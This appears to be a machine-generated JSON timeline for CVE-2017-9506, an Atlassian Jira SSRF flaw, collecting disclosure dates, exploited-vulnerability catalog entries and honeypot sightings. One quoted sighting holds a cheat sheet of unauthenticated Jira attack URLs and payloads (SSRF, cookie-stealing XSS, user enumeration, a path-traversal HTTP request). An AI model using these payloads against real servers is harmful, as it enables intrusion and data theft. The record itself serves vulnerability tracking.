{"metadata": {"vulnerability": "cve-2017-9506", "count": 81, "kinds": {"milestone": 5, "sighting": 38, "kev": 11, "other": 27}, "linked_omitted": 0}, "data": [{"timestamp": "2017-05-31T00:00:00Z", "date_only": false, "value": "2017-05-31T00:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "cvelistv5 / atlassian", "record": "cve-2017-9506", "field": "containers.cna.x_legacyV4Record.CVE_data_meta.DATE_PUBLIC"}, {"timestamp": "2017-05-31T00:00:00Z", "date_only": false, "value": "2017-05-31T00:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "gsd \u00b7 GSD-2017-9506", "record": "GSD-2017-9506", "field": "namespaces.cve.org.CVE_data_meta.DATE_PUBLIC", "linked_record": true}, {"timestamp": "2017-05-31T00:00:00Z", "date_only": false, "value": "2017-05-31T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "cve-2017-9506", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2017-06-07T00:00:00Z", "date_only": false, "value": "2017-06-07T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "cve-2017-9506", "field": "cveMetadata.dateReserved"}, {"timestamp": "2017-08-23T19:00:00Z", "date_only": false, "value": "2017-08-23T19:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2017-9506", "field": "timestamps.asserted_at", "publication_copy": true, "uuid": "77712a7c-d7b9-4027-ac60-d07395675efe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2017-08-23T19:00:00Z", "date_only": false, "value": "2017-08-23T19:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2017-9506", "field": "evidence.0.details.added_date", "uuid": "77712a7c-d7b9-4027-ac60-d07395675efe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2017-08-23T19:00:00Z", "date_only": false, "value": "2017-08-23T19:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2017-9506", "field": "timestamps.first_seen_at", "publication_copy": true, "uuid": "77712a7c-d7b9-4027-ac60-d07395675efe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2017-08-23T19:00:00Z", "date_only": false, "value": "2017-08-23T19:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "cve-2017-9506", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2017-08-23T19:00:00Z", "date_only": false, "value": "2017-08-23T19:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2017-9506", "field": "status.status_updated_at", "uuid": "77712a7c-d7b9-4027-ac60-d07395675efe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2017-08-23T19:29:00Z", "date_only": false, "value": "2017-08-23T19:29:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-WR82-63QC-G2H8", "record": "GHSA-WR82-63QC-G2H8", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2017-08-23T19:29:00Z", "date_only": false, "value": "2017-08-23T19:29Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2017-9506", "record": "GSD-2017-9506", "field": "namespaces.nvd.nist.gov.publishedDate", "linked_record": true}, {"timestamp": "2017-08-23T19:29:00.197Z", "date_only": false, "value": "2017-08-23T19:29:00.197", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2017-9506", "record": "FKIE_CVE-2017-9506", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2017-08-24T00:00:00Z", "date_only": true, "value": "2017-08-24", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2017-30063", "record": "CNVD-2017-30063", "field": "submitTime", "linked_record": true}, {"timestamp": "2017-10-14T00:00:00Z", "date_only": true, "value": "2017-10-14", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2017-30063", "record": "CNVD-2017-30063", "field": "openTime", "linked_record": true}, {"timestamp": "2018-04-10T06:57:01Z", "date_only": false, "value": "2018-04-10T06:57:01.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / atlassian", "record": "cve-2017-9506", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2018-04-30T16:18:43Z", "date_only": false, "value": "2018-04-30T16:18:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/1435", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "f434baa8-c209-4826-8a9c-bd053f21bc83", "content": "CVE-2017-9506 Jira-Scan https://github.com/random-robbie/Jira-Scan", "url": "https://t.me/thebugbountyhunter/1435", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2019-05-10T15:22:00Z", "date_only": false, "value": "2019-05-10T15:22Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2017-9506", "record": "GSD-2017-9506", "field": "namespaces.nvd.nist.gov.lastModifiedDate", "linked_record": true}, {"timestamp": "2022-05-14T01:04:28Z", "date_only": false, "value": "2022-05-14T01:04:28Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-WR82-63QC-G2H8", "record": "GHSA-WR82-63QC-G2H8", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-05-14T01:04:28Z", "date_only": false, "value": "2022-05-14T01:04:28Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-WR82-63QC-G2H8", "record": "GHSA-WR82-63QC-G2H8", "field": "modified", "linked_record": true}, {"timestamp": "2022-09-11T22:00:00Z", "date_only": false, "value": "2022-09-11T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2022-09-11T22:00:00Z", "date_only": false, "value": "2022-09-11T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-09-11T22:00:00Z", "date_only": false, "value": "2022-09-11T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "vulnerabilities.25.release_date", "linked_record": true, "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-10-03T22:00:00Z", "date_only": false, "value": "2022-10-03T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2022-10-04T22:00:00Z", "date_only": false, "value": "2022-10-04T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.revision_history.2.date", "linked_record": true}, {"timestamp": "2022-12-12T23:00:00Z", "date_only": false, "value": "2022-12-12T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.revision_history.3.date", "linked_record": true}, {"timestamp": "2022-12-20T23:00:00Z", "date_only": false, "value": "2022-12-20T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.revision_history.4.date", "linked_record": true}, {"timestamp": "2023-09-14T22:00:00Z", "date_only": false, "value": "2023-09-14T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.revision_history.5.date", "linked_record": true}, {"timestamp": "2023-12-13T01:21:08.099Z", "date_only": false, "value": "2023-12-13T01:21:08.099652Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2017-9506", "record": "GSD-2017-9506", "field": "gsd.osvSchema.modified", "linked_record": true}, {"timestamp": "2024-03-18T07:23:33Z", "date_only": false, "value": "2024-03-18T07:23:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/lostsec/164", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "1681a268-dd67-4720-b2c7-d58817b38d6d", "content": "# Unauthenticated Jira CVEs\n1. CVE-2017-9506 (SSRF)\nhttps:///plugins/servlet/oauth/users/icon-uri?consumerUri=\n2. CVE-2018-20824 (XSS)\nhttps:///plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)\n3. CVE-2019-8451 (SSRF)\nhttps:///plugins/servlet/gadgets/makeRequest?url=https://:1337@example.com\n4. CVE-2019-8449 (User Information Disclosure)\nhttps:///rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true\n5. CVE-2019-8442 (Sensitive Information Disclosure)\nhttps:///s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml\n6. CVE-2019-3403 (User Enumeration)\nhttps:///rest/api/2/user/picker?query=\n7. CVE-2020-14181 (User Enumeration)\nhttps:///secure/ViewUserHover.jspa?username=\n8. CVE-2020-14178 (Project Key Enumeration)\nhttps:///browse.\n9. CVE-2020-14179 (Information Disclosure)\nhttps:///secure/QueryComponent!Default.jspa\n10. CVE-2019-11581 (Template Injection)\n/secure/ContactAdministrators!default.jspa\n\n* Try the SSTI Payloads\n11.   CVE-2019-3396 (Path Traversal)\nPOST /rest/tinymce/1/macro/preview HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Language: en-US,en;q=0.5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\nReferer: {{Hostname}}\nContent-Length: 168\nConnection: close\n\n{\"contentId\":\"786457\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/23464dc5\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"../web.xml\"}}}\n\n*Try above request with the Jira target\n12.   CVE-2019-3402 (XSS)\nhttps:///secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search\n/secure/ConfigurePortalPages!default.jspa?view=popular\n/secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false\n/secure/ContactAdministrators!default.jspa\n/servicedesk/customer/user/login\n/issues/?jql=\n/plugins/servlet/oauth/users/icon-uri?consumerUri=http://google.com\n/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true\n/plugins/servlet/gadgets/makeRequest?url=https://victomhost:1337@example.com\n/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)\n/secure/QueryComponent!Default.jspa\n/secure/ViewUserHover.jspa\n/ViewUserHover.jspa?username=Admin\n/rest/api/2/dashboard?maxResults=100\n/pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(\u2018XSS\u2019)%22%3E.vm\n/rest/api/2/user/picker?query=admin\n/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml\n/rest/api/2/user/picker?query=admin\n/s/\n/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.nl\n/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search\nConfigurePortalPages.jspa\n/plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true\nREPORTS:- \nhttps://hackerone.com/reports/713900\nhttps://hackerone.com/reports/1103582\nhttps://hackerone.com/reports/380354\nhttps://hackerone.com/reports/197726\nhttps://hackerone.com/reports/632808", "url": "https://t.me/lostsec/164", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-05T17:11:01.834Z", "date_only": false, "value": "2024-08-05T17:11:01.834Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "cve-2017-9506", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-10-16T14:02:53.950Z", "date_only": false, "value": "2024-10-16T14:02:53.950017Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2017-9506", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2024-10-16T14:02:53.950Z", "date_only": false, "value": "2024-10-16T14:02:53.950017Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2017-9506", "record": "FKIE_CVE-2017-9506", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2024-10-16T14:03:06.883Z", "date_only": false, "value": "2024-10-16T14:03:06.883Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2017-9506", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-10-16T14:03:06.883Z", "date_only": false, "value": "2024-10-16T14:03:06.883Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2017-9506", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-04-13T12:04:46Z", "date_only": false, "value": "2025-04-13T12:04:46.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/marcostolosa/bf0f4a6ea030bc83c2d8dde8df077407", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "a1019163-7af4-4796-a976-506c41c80f93", "url": "https://gist.github.com/marcostolosa/bf0f4a6ea030bc83c2d8dde8df077407"}, {"timestamp": "2025-10-12T22:00:00Z", "date_only": false, "value": "2025-10-12T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.revision_history.6.date", "linked_record": true}, {"timestamp": "2025-10-12T22:00:00Z", "date_only": false, "value": "2025-10-12T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2025-10-13T09:29:51.555Z", "date_only": false, "value": "2025-10-13T09:29:51.555+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1375", "record": "WID-SEC-W-2022-1375", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2026-04-15T08:29:24Z", "date_only": false, "value": "2026-04-15T08:29:24+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2017-9506", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-04-15T08:29:24Z", "date_only": false, "value": "2026-04-15T08:29:24+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2017-9506", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "464b7f3d-0c16-4412-a9aa-0c295911257b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-05-07T00:00:00Z", "date_only": false, "value": "2026-05-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-07)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "916d02a8-9806-404e-942b-6774a1490754"}, {"timestamp": "2026-05-11T00:00:00Z", "date_only": false, "value": "2026-05-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-11)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "990dbd1d-21a9-4bcc-97ca-8095cf032e67"}, {"timestamp": "2026-05-20T00:00:00Z", "date_only": false, "value": "2026-05-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-20)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "786a67bc-0947-4529-a90b-6fe40573eabd"}, {"timestamp": "2026-05-23T00:00:00Z", "date_only": false, "value": "2026-05-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-23)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "e9e603b4-b72d-4605-b1bf-49fa113c63a8"}, {"timestamp": "2026-05-25T00:00:00Z", "date_only": false, "value": "2026-05-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-25)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "f40efe2a-5566-4ab0-89c9-9d2cd21a89df"}, {"timestamp": "2026-05-29T00:00:00Z", "date_only": false, "value": "2026-05-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-29)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "bc341f81-31f2-4264-82d1-a9ddfb7edad9"}, {"timestamp": "2026-06-06T00:00:00Z", "date_only": false, "value": "2026-06-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-06)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "5973f02b-11fc-41ab-9345-2da5433ed10c"}, {"timestamp": "2026-06-07T00:00:00Z", "date_only": false, "value": "2026-06-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-07)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "637cb714-d397-4c3e-ab63-024911229787"}, {"timestamp": "2026-06-17T01:28:15.693Z", "date_only": false, "value": "2026-06-17T01:28:15.693", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2017-9506", "record": "FKIE_CVE-2017-9506", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-06-22T00:00:00Z", "date_only": false, "value": "2026-06-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-22)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "c8882852-c2c0-4f0d-b5c6-7ddf677a5032"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2017-9506", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "77712a7c-d7b9-4027-ac60-d07395675efe", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:06:23.081Z", "date_only": false, "value": "2026-06-23T14:06:23.081977Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/77712a7c-d7b9-4027-ac60-d07395675efe", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "3322d606-4c38-4ecb-bec9-5c82343eb98f", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/77712a7c-d7b9-4027-ac60-d07395675efe", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-29T10:00:07.027Z", "date_only": false, "value": "2026-06-29T10:00:07.027747Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-28)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "fdf5585c-3eb1-4e68-9ea9-fd129cc813d0"}, {"timestamp": "2026-06-30T09:23:57.176Z", "date_only": false, "value": "2026-06-30T09:23:57.176039Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/464b7f3d-0c16-4412-a9aa-0c295911257b", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "d5444f28-a623-4ecb-8a82-242da8480b3a", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/464b7f3d-0c16-4412-a9aa-0c295911257b", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-02T10:00:10.627Z", "date_only": false, "value": "2026-07-02T10:00:10.627438Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-01)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "46dd42d9-2de2-4840-b60d-a50a6ea3a85e"}, {"timestamp": "2026-07-06T10:00:05.430Z", "date_only": false, "value": "2026-07-06T10:00:05.430055Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-05)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "bc4686a7-d937-42c6-8c9a-0fef975dfd47"}, {"timestamp": "2026-07-07T10:00:09.228Z", "date_only": false, "value": "2026-07-07T10:00:09.228943Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-06)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "e0cb3cbd-87e3-4d5e-91d0-79822c7563a2"}, {"timestamp": "2026-07-08T10:00:15.865Z", "date_only": false, "value": "2026-07-08T10:00:15.865584Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-07)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "70fc7bd0-85f5-493f-92d8-87c44eadec2a"}, {"timestamp": "2026-07-09T10:00:06.905Z", "date_only": false, "value": "2026-07-09T10:00:06.905970Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-08)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "4b023c92-5d37-4fa9-b29b-1ad77683b167"}, {"timestamp": "2026-07-13T10:00:04.899Z", "date_only": false, "value": "2026-07-13T10:00:04.899816Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-12)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "dcfe7df0-6f9d-4af1-a874-9c05306d89e5"}, {"timestamp": "2026-07-14T10:00:07.607Z", "date_only": false, "value": "2026-07-14T10:00:07.607729Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-13)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "326156d2-dfcd-4dd1-ad72-83e36c12c23c"}, {"timestamp": "2026-07-18T10:00:04.280Z", "date_only": false, "value": "2026-07-18T10:00:04.280221Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-17)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "b640b3ef-dfa8-41bb-ad3e-caf854daa446"}, {"timestamp": "2026-07-20T10:00:08.979Z", "date_only": false, "value": "2026-07-20T10:00:08.979308Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-19)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "f0aa8ff7-2ed9-4fe3-a042-f27684cbed68"}, {"timestamp": "2026-07-21T10:00:06.053Z", "date_only": false, "value": "2026-07-21T10:00:06.053959Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-20)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "12a0d8b1-2fcb-416d-9315-880c42804e63"}, {"timestamp": "2026-08-13T10:15:09.851Z", "date_only": false, "value": "2026-08-13T10:15:09.851047Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-12)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "2a11eb26-869e-4654-b026-4b0285925924", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-17T10:15:08.884Z", "date_only": false, "value": "2026-08-17T10:15:08.884974Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-16)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "08737f65-9fb4-4946-9289-20ba554a3b4c", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-07T10:00:07.408Z", "date_only": false, "value": "2026-09-07T10:00:07.408388Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-06)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "1be126c1-f96b-41ad-95b6-78f76f110259"}, {"timestamp": "2026-09-08T10:15:17.088Z", "date_only": false, "value": "2026-09-08T10:15:17.088826Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-07)", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "c078ec7d-3cf3-46a0-b13a-5f99e1bfd2c1", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-13T21:00:04.897Z", "date_only": false, "value": "2026-09-13T21:00:04.897255Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/infowatchout/141", "record": "CVE-2017-9506", "field": "creation_timestamp", "uuid": "c944d477-dbab-408a-bc32-9d08379c0096", "content": "\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 Jira \u0438 Confluence \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0440\u043e\u0433\u043e \u043e\u0431\u043e\u0439\u0442\u0438\u0441\u044c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0442\u043e\u0440\u043e\u043f\u044f\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u0442\u0447\u0438 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u041f\u041e.\n\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u043a\u0441\u0438 \u044d\u0442\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c XSS- \u0438 SSRF-\u0430\u0442\u0430\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a AWS. \u0427\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0430\u043c\u043e\u0439 \u0440\u0430\u0437\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\nCVE-2017-9506, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u044d\u0442\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0435\u0439\u0448\u0438\u0435 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0431\u044b\u043b\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2017 \u0433\u043e\u0434\u0443. Atlassian \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c 